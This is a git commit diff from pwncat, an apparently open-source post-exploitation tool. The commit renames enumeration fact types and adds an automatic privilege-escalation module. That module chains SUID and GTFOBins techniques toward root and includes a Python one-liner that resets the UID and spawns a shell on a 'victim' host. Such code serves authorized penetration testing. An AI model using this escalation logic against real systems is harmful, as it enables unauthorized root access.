1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-30 12:24:14 +01:00

Initial partially functioning auto escalation

Also renamed some enumeration types and added type-globbing
for the `types` parameter of enumerations (e.g. run enumerate.gather types=system.*)
This commit is contained in:
Caleb Stewart 2020-09-01 15:30:47 -04:00
parent 1706213920
commit 4ecbca9543
14 changed files with 324 additions and 49 deletions

View File

@ -9,12 +9,18 @@ from pwncat.commands.base import CommandDefinition, Complete, Parameter
class Command(CommandDefinition): class Command(CommandDefinition):
""" """
Run a shell command on the victim host and display the output. Run a module. If no module is specified, use the module in the
current context. You can enter a module context with the `use`
**NOTE** This must be a non-interactive command. If an interactive command command.
is run, you will have to use C-c to return to the pwncat prompt and then
C-d to get back to your interactive remote prompt in order to interact Module arguments can be appended to the run command with `variable=value`
with the remote host again!""" syntax. Arguments are type-checked prior to executing, and the results
are displayed to the terminal.
To locate available modules, you can use the `search` command. To
find documentation on individual modules including expected
arguments, you can use the `info` command.
"""
def get_module_choices(self): def get_module_choices(self):
yield from [module.name for module in pwncat.modules.match(".*")] yield from [module.name for module in pwncat.modules.match(".*")]
@ -27,8 +33,9 @@ class Command(CommandDefinition):
"module": Parameter( "module": Parameter(
Complete.CHOICES, Complete.CHOICES,
nargs="?", nargs="?",
metavar="MODULE",
choices=get_module_choices, choices=get_module_choices,
help="The module path to execute", help="The module name to execute",
), ),
"args": Parameter(Complete.NONE, nargs="*", help="Module arguments"), "args": Parameter(Complete.NONE, nargs="*", help="Module arguments"),
} }
@ -50,10 +57,12 @@ class Command(CommandDefinition):
name, value = arg.split("=") name, value = arg.split("=")
values[name] = value values[name] = value
pwncat.victim.config.locals.update(values) # pwncat.victim.config.locals.update(values)
config_values = pwncat.victim.config.locals.copy()
config_values.update(values)
try: try:
result = pwncat.modules.run(args.module, **pwncat.victim.config.locals) result = pwncat.modules.run(args.module, **config_values)
pwncat.victim.config.back() pwncat.victim.config.back()
except pwncat.modules.ModuleNotFound: except pwncat.modules.ModuleNotFound:
console.log(f"[red]error[/red]: {args.module}: not found") console.log(f"[red]error[/red]: {args.module}: not found")

View File

@ -118,6 +118,11 @@ def run_decorator(real_run):
def decorator(self, progress=None, **kwargs): def decorator(self, progress=None, **kwargs):
if "exec" in kwargs:
has_exec = True
else:
has_exec = False
# Validate arguments # Validate arguments
for key in kwargs: for key in kwargs:
if key in self.ARGUMENTS: if key in self.ARGUMENTS:
@ -135,6 +140,9 @@ def run_decorator(real_run):
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue: elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
raise MissingArgument(key) raise MissingArgument(key)
if "exec" in kwargs and kwargs["exec"] and not has_exec:
raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}")
# Save progress reference # Save progress reference
self.progress = progress self.progress = progress

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from enum import Enum, auto from enum import Enum, auto
import fnmatch
import time import time
import sqlalchemy import sqlalchemy
@ -78,9 +79,12 @@ class EnumerateModule(BaseModule):
) )
if types: if types:
existing_facts = existing_facts.filter(pwncat.db.Fact.type.in_(types)) for fact in existing_facts.all():
for typ in types:
yield from existing_facts.all() if fnmatch.fnmatch(fact.type, typ):
yield fact
else:
yield from existing_facts.all()
if self.SCHEDULE != Schedule.ALWAYS: if self.SCHEDULE != Schedule.ALWAYS:
exists = ( exists = (
@ -109,8 +113,12 @@ class EnumerateModule(BaseModule):
continue continue
# Don't yield the actual fact if we didn't ask for this type # Don't yield the actual fact if we didn't ask for this type
if types and row.type not in types: if types:
yield Status(data) for typ in types:
if fnmatch.fnmatch(row.type, typ):
yield row
else:
yield Status(data)
else: else:
yield row yield row

View File

@ -30,7 +30,7 @@ class Module(EnumerateModule):
:return: :return:
""" """
PROVIDES = ["arch"] PROVIDES = ["system.arch"]
def enumerate(self): def enumerate(self):
""" """
@ -43,4 +43,4 @@ class Module(EnumerateModule):
except FileNotFoundError: except FileNotFoundError:
return return
yield "arch", ArchData(result) yield "system.arch", ArchData(result)

View File

@ -25,7 +25,7 @@ class Module(EnumerateModule):
:return: :return:
""" """
PROVIDES = ["aslr"] PROVIDES = ["system.aslr"]
def enumerate(self): def enumerate(self):
@ -38,6 +38,6 @@ class Module(EnumerateModule):
value = None value = None
if value is not None: if value is not None:
yield "aslr", ASLRStateData(value) yield "system.aslr", ASLRStateData(value)
except (FileNotFoundError, PermissionError): except (FileNotFoundError, PermissionError):
pass pass

View File

@ -23,29 +23,30 @@ class Module(EnumerateModule):
:return: :return:
""" """
PROVIDES = ["container"] PROVIDES = ["system.container"]
def enumerate(self): def enumerate(self):
try: try:
with pwncat.victim.open("/proc/self/cgroup", "r") as filp: with pwncat.victim.open("/proc/self/cgroup", "r") as filp:
if "docker" in filp.read().lower(): if "docker" in filp.read().lower():
yield "container", ContainerData("docker") yield "system.container", ContainerData("docker")
return return
except (FileNotFoundError, PermissionError): except (FileNotFoundError, PermissionError):
pass pass
with pwncat.victim.subprocess( with pwncat.victim.subprocess(
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', "r" f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null',
"r",
) as pipe: ) as pipe:
if pipe.read().strip() != b"": if pipe.read().strip() != b"":
yield "container", ContainerData("docker") yield "system.container", ContainerData("docker")
return return
try: try:
with pwncat.victim.open("/proc/1/environ", "r") as filp: with pwncat.victim.open("/proc/1/environ", "r") as filp:
if "container=lxc" in filp.read().lower(): if "container=lxc" in filp.read().lower():
yield "container", ContainerData("lxc") yield "system.container", ContainerData("lxc")
return return
except (FileNotFoundError, PermissionError): except (FileNotFoundError, PermissionError):
pass pass

View File

@ -29,13 +29,14 @@ class DistroVersionData:
f"Build ID [green]{self.build_id}[/green]." f"Build ID [green]{self.build_id}[/green]."
) )
class Module(EnumerateModule): class Module(EnumerateModule):
""" """
Enumerate kernel/OS version information Enumerate kernel/OS version information
:return: :return:
""" """
PROVIDES = ["distro"] PROVIDES = ["system.distro"]
def enumerate(self): def enumerate(self):
@ -69,7 +70,12 @@ class Module(EnumerateModule):
except (PermissionError, FileNotFoundError): except (PermissionError, FileNotFoundError):
pass pass
if pretty_name is None and build_id is None and ident is None and version is None: if (
pretty_name is None
and build_id is None
and ident is None
and version is None
):
return return
yield "distro", DistroVersionData(pretty_name, ident, build_id, version) yield "system.distro", DistroVersionData(pretty_name, ident, build_id, version)

View File

@ -13,13 +13,13 @@ class Module(EnumerateModule):
:return: A generator of hostname facts :return: A generator of hostname facts
""" """
PROVIDES = ["hostname"] PROVIDES = ["network.hostname"]
def enumerate(self): def enumerate(self):
try: try:
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip() hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
yield "hostname", hostname yield "network.hostname", hostname
return return
except FileNotFoundError: except FileNotFoundError:
pass pass
@ -30,9 +30,9 @@ class Module(EnumerateModule):
for name in hostname: for name in hostname:
if "static hostname" in name.lower(): if "static hostname" in name.lower():
hostname = name.split(": ")[1] hostname = name.split(": ")[1]
yield "hostname", hostname yield "network.hostname", hostname
return return
except (FileNotFoundError, IndexError): except (FileNotFoundError, IndexError):
pass pass
return return

View File

@ -7,6 +7,7 @@ import pwncat
from pwncat import util from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass @dataclasses.dataclass
class HostData: class HostData:
@ -17,13 +18,14 @@ class HostData:
joined_hostnames = ", ".join(self.hostnames) joined_hostnames = ", ".join(self.hostnames)
return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]" return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]"
class Module(EnumerateModule): class Module(EnumerateModule):
""" """
Enumerate hosts identified in /etc/hosts which are not localhost Enumerate hosts identified in /etc/hosts which are not localhost
:return: :return:
""" """
PROVIDES = ["hosts"] PROVIDES = ["network.hosts"]
def enumerate(self): def enumerate(self):
@ -45,6 +47,6 @@ class Module(EnumerateModule):
): ):
continue continue
address, *hostnames = [e for e in line.split(" ") if e != ""] address, *hostnames = [e for e in line.split(" ") if e != ""]
yield "hosts", HostData(address, hostnames) yield "network.hosts", HostData(address, hostnames)
except (PermissionError, FileNotFoundError): except (PermissionError, FileNotFoundError):
pass pass

View File

@ -4,20 +4,20 @@ import dataclasses
import pwncat import pwncat
from pwncat import util from pwncat import util
from pwncat.modules import Result
from pwncat.modules.enumerate import EnumerateModule, Schedule from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass @dataclasses.dataclass
class InitSystemData: class InitSystemData(Result):
init: util.Init init: util.Init
version: str version: str
def __str__(self): @property
def title(self):
return f"Running [blue]{self.init}[/blue]" return f"Running [blue]{self.init}[/blue]"
@property
def description(self):
return self.version
class Module(EnumerateModule): class Module(EnumerateModule):
""" """
@ -25,7 +25,7 @@ class Module(EnumerateModule):
:return: :return:
""" """
PROVIDES = ["init"] PROVIDES = ["system.init"]
def enumerate(self): def enumerate(self):
@ -74,4 +74,4 @@ class Module(EnumerateModule):
if version == "": if version == "":
version = None version = None
yield "init", InitSystemData(init, version) yield "system.init", InitSystemData(init, version)

View File

@ -6,12 +6,13 @@ import pwncat
from pwncat import util from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass @dataclasses.dataclass
class KernelVersionData: class KernelVersionData:
""" """
Represents a W.X.Y-Z kernel version where W is the major version, Represents a W.X.Y-Z kernel version where W is the major version,
X is the minor version, Y is the patch, and Z is the ABI. X is the minor version, Y is the patch, and Z is the ABI.
This explanation came from here: This explanation came from here:
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
""" """
@ -28,12 +29,14 @@ class KernelVersionData:
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]" f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
) )
class Module(EnumerateModule): class Module(EnumerateModule):
""" """
Enumerate kernel/OS version information Enumerate kernel/OS version information
:return: :return:
""" """
PROVIDES = ["kernel"]
PROVIDES = ["system.kernel"]
def enumerate(self): def enumerate(self):
@ -62,4 +65,4 @@ class Module(EnumerateModule):
y = y_and_z[0] y = y_and_z[0]
z = "-".join(y_and_z[1:]) z = "-".join(y_and_z[1:])
yield "kernel", KernelVersionData(int(w), int(x), int(y), z) yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)

View File

@ -21,6 +21,62 @@ class EscalateError(Exception):
""" Indicates an error while attempting some escalation action """ """ Indicates an error while attempting some escalation action """
def fix_euid_mismatch(target_uid: int, target_gid: int):
""" Attempt to gain EUID=UID=target_uid.
This is intended to fix EUID/UID mismatches after a escalation.
"""
pythons = [
"python",
"python3",
"python3.6",
"python3.8",
"python3.9",
"python2.7",
"python2.6",
]
for python in pythons:
python_path = pwncat.victim.which(python)
if python_path is not None:
break
if python_path is not None:
command = f"exec {python_path} -c '"
command += f"""import os; os.setreuid({target_uid}, {target_uid}); os.setregid({target_gid}, {target_gid}); os.system("{pwncat.victim.shell}")"""
command += "'\n"
pwncat.victim.process(command)
new_id = pwncat.victim.id
if new_id["uid"]["id"] == target_uid and new_id["gid"]["id"] == target_gid:
return
raise EscalateError("failed to resolve euid/uid mismatch")
def euid_fix(technique_class):
"""
Decorator for Technique classes which may end up with a RUID/EUID
mismatch. This will check the resulting UID before/after to see
if the change was affective and attempt to fix it.
"""
class Wrapper(technique_class):
def exec(self, binary: str):
# Run the real exec
super(Wrapper, self).exec(binary)
# Check id again
ending_id = pwncat.victim.id
# If needed fix the UID
if ending_id["euid"]["id"] != ending_id["uid"]["id"]:
fix_euid_mismatch(ending_id["euid"]["id"], ending_id["egid"]["id"])
return Wrapper
@dataclasses.dataclass @dataclasses.dataclass
class Technique: class Technique:
""" Describes a technique possible through some module. """ Describes a technique possible through some module.
@ -196,6 +252,17 @@ class EscalateChain(Result):
""" Add a link in the chain """ """ Add a link in the chain """
self.chain.append((technique, exit_cmd)) self.chain.append((technique, exit_cmd))
def extend(self, chain: "EscalateChain"):
""" Extend this chain with another chain """
self.chain.extend(chain.chain)
def pop(self):
""" Exit and remove the last link in the chain """
_, exit_cmd = self.chain.pop()
pwncat.victim.client.send(exit_cmd)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
def unwrap(self): def unwrap(self):
""" Exit each shell in the chain with the provided exit script """ """ Exit each shell in the chain with the provided exit script """
@ -204,6 +271,9 @@ class EscalateChain(Result):
# Send the exit command # Send the exit command
pwncat.victim.client.send(exit_cmd) pwncat.victim.client.send(exit_cmd)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
@dataclasses.dataclass @dataclasses.dataclass
class EscalateResult(Result): class EscalateResult(Result):
@ -238,7 +308,7 @@ class EscalateResult(Result):
This allows you to enumerate multiple modules and utilize all their This allows you to enumerate multiple modules and utilize all their
techniques together to perform escalation. """ techniques together to perform escalation. """
for key, value in result.techniques: for key, value in result.techniques.items():
if key not in self.techniques: if key not in self.techniques:
self.techniques[key] = value self.techniques[key] = value
else: else:
@ -328,6 +398,7 @@ class EscalateResult(Result):
original_user = pwncat.victim.current_user original_user = pwncat.victim.current_user
original_id = pwncat.victim.id original_id = pwncat.victim.id
target_user = pwncat.victim.users[user]
task = progress.add_task("", module="escalating", status="...") task = progress.add_task("", module="escalating", status="...")
if user in self.techniques: if user in self.techniques:
@ -358,7 +429,9 @@ class EscalateResult(Result):
# Check that the escalation succeeded # Check that the escalation succeeded
new_id = pwncat.victim.id new_id = pwncat.victim.id
if new_id["euid"] == original_id["euid"]: if new_id["euid"]["id"] != target_user.id:
pwncat.victim.client.send(exit_cmd.encode("utf-8"))
pwncat.victim.flush_output(some=False)
continue continue
return EscalateChain( return EscalateChain(
@ -492,6 +565,9 @@ class EscalateResult(Result):
# The test worked! Run the real escalate command # The test worked! Run the real escalate command
pwncat.victim.process(command) pwncat.victim.process(command)
pwncat.victim.reset(hard=False)
pwncat.victim.update_user()
return EscalateChain(original_user.name, [(used_tech, "exit")]) return EscalateChain(original_user.name, [(used_tech, "exit")])
raise EscalateError(f"exec as {user} not possible") raise EscalateError(f"exec as {user} not possible")

View File

@ -0,0 +1,152 @@
#!/usr/bin/env python3
from pwncat.modules import (
BaseModule,
Bool,
Result,
Status,
Argument,
ArgumentFormatError,
MissingArgument,
)
from pwncat.modules.escalate import (
EscalateChain,
EscalateResult,
EscalateModule,
FileContentsResult,
EscalateError,
)
import pwncat.modules
class Module(BaseModule):
"""
Attempt to automatically escalate to the given user through
any path available. This may cause escalation through multiple
users.
"""
ARGUMENTS = {
"user": Argument(str, default="root", help="The target user for escalation"),
"exec": Argument(
Bool, default=False, help="Attempt to execute a shell as the given user"
),
"read": Argument(
Bool, default=False, help="Attempt to read a file as the given user"
),
"write": Argument(
Bool, default=False, help="Attempt to write a file as the given user"
),
"shell": Argument(
str, default="current", help="The shell to use for escalation"
),
"path": Argument(
str, default=None, help="The path to the file to be read/written"
),
"data": Argument(str, default=None, help="The data to be written"),
}
COLLAPSE_RESULT = True
def run(self, user, exec, write, read, path, data, shell):
whole_chain = EscalateChain(None, chain=[])
tried_users = []
result_list = []
target_user = user
if (exec + write + read) > 1:
raise pwncat.modules.ArgumentFormatError(
"only one of exec/write/read may be used"
)
if (read or write) and path is None:
raise ArgumentFormatError("file path not specified")
if write and data is None:
raise ArgumentFormatError("file content not specified")
if shell == "current":
shell = pwncat.victim.shell
# Collect escalation options
result = EscalateResult(techniques={})
for module in pwncat.modules.match(r"escalate\..*", base=EscalateModule):
try:
result.extend(module.run(progress=self.progress))
except (ArgumentFormatError, MissingArgument):
continue
while True:
if exec:
chain = result.exec(target_user, shell, self.progress)
whole_chain.extend(chain)
yield whole_chain
return
elif write:
result.write(target_user, path, data, self.progress)
whole_chain.unwrap()
return
elif read:
filp = result.read(target_user, path, self.progress)
original_close = filp.close
# We need to call unwrap after reading the data
def close_wrapper():
original_close()
whole_chain.unwrap()
filp.close = close_wrapper
yield FileContentsResult(path, filp)
return
else:
# We just wanted to list all techniques from all modules
yield result
return
for user in result.techniques.keys():
# Ignore already tried users
if user in tried_users:
continue
# Mark this user as tried
tried_users.append(user)
try:
# Attempt escalation
chain = result.exec(user, shell, self.progress)
# Extend the chain with this new chain
whole_chain.extend(chain)
# Save our current results in the list
result_list.append(result)
# Get new results for this user
result = EscalateResult(techniques={})
for module in pwncat.modules.match(
r"escalate\..*", base=EscalateModule
):
try:
result.extend(module.run(progress=self.progress))
except (
ArgumentFormatError,
MissingArgument,
):
continue
# Try again
break
except EscalateError:
continue
else:
if not result_list:
# There are no more results to try...
raise EscalateError("no escalation path found")
# The loop was exhausted. This user didn't work.
# Go back to the previous step, but don't try this user
whole_chain.pop()
result = result_list.pop()

View File

@ -2,7 +2,17 @@
import pwncat import pwncat
from pwncat.gtfobins import Capability, Stream, BinaryNotFound from pwncat.gtfobins import Capability, Stream, BinaryNotFound
from pwncat.modules.escalate import EscalateModule, EscalateError, GTFOTechnique from pwncat.modules.escalate import (
EscalateModule,
EscalateError,
GTFOTechnique,
euid_fix,
)
@euid_fix
class SUIDTechnique(GTFOTechnique):
""" Same as GTFO Technique but with EUID fix decorator """
class Module(EscalateModule): class Module(EscalateModule):
@ -27,7 +37,7 @@ class Module(EscalateModule):
for method in binary.iter_methods( for method in binary.iter_methods(
fact.data.path, Capability.ALL, Stream.ANY fact.data.path, Capability.ALL, Stream.ANY
): ):
yield GTFOTechnique(fact.data.owner.name, self, method, suid=True) yield SUIDTechnique(fact.data.owner.name, self, method, suid=True)
def human_name(self, tech: "Technique"): def human_name(self, tech: "Technique"):
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])" return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"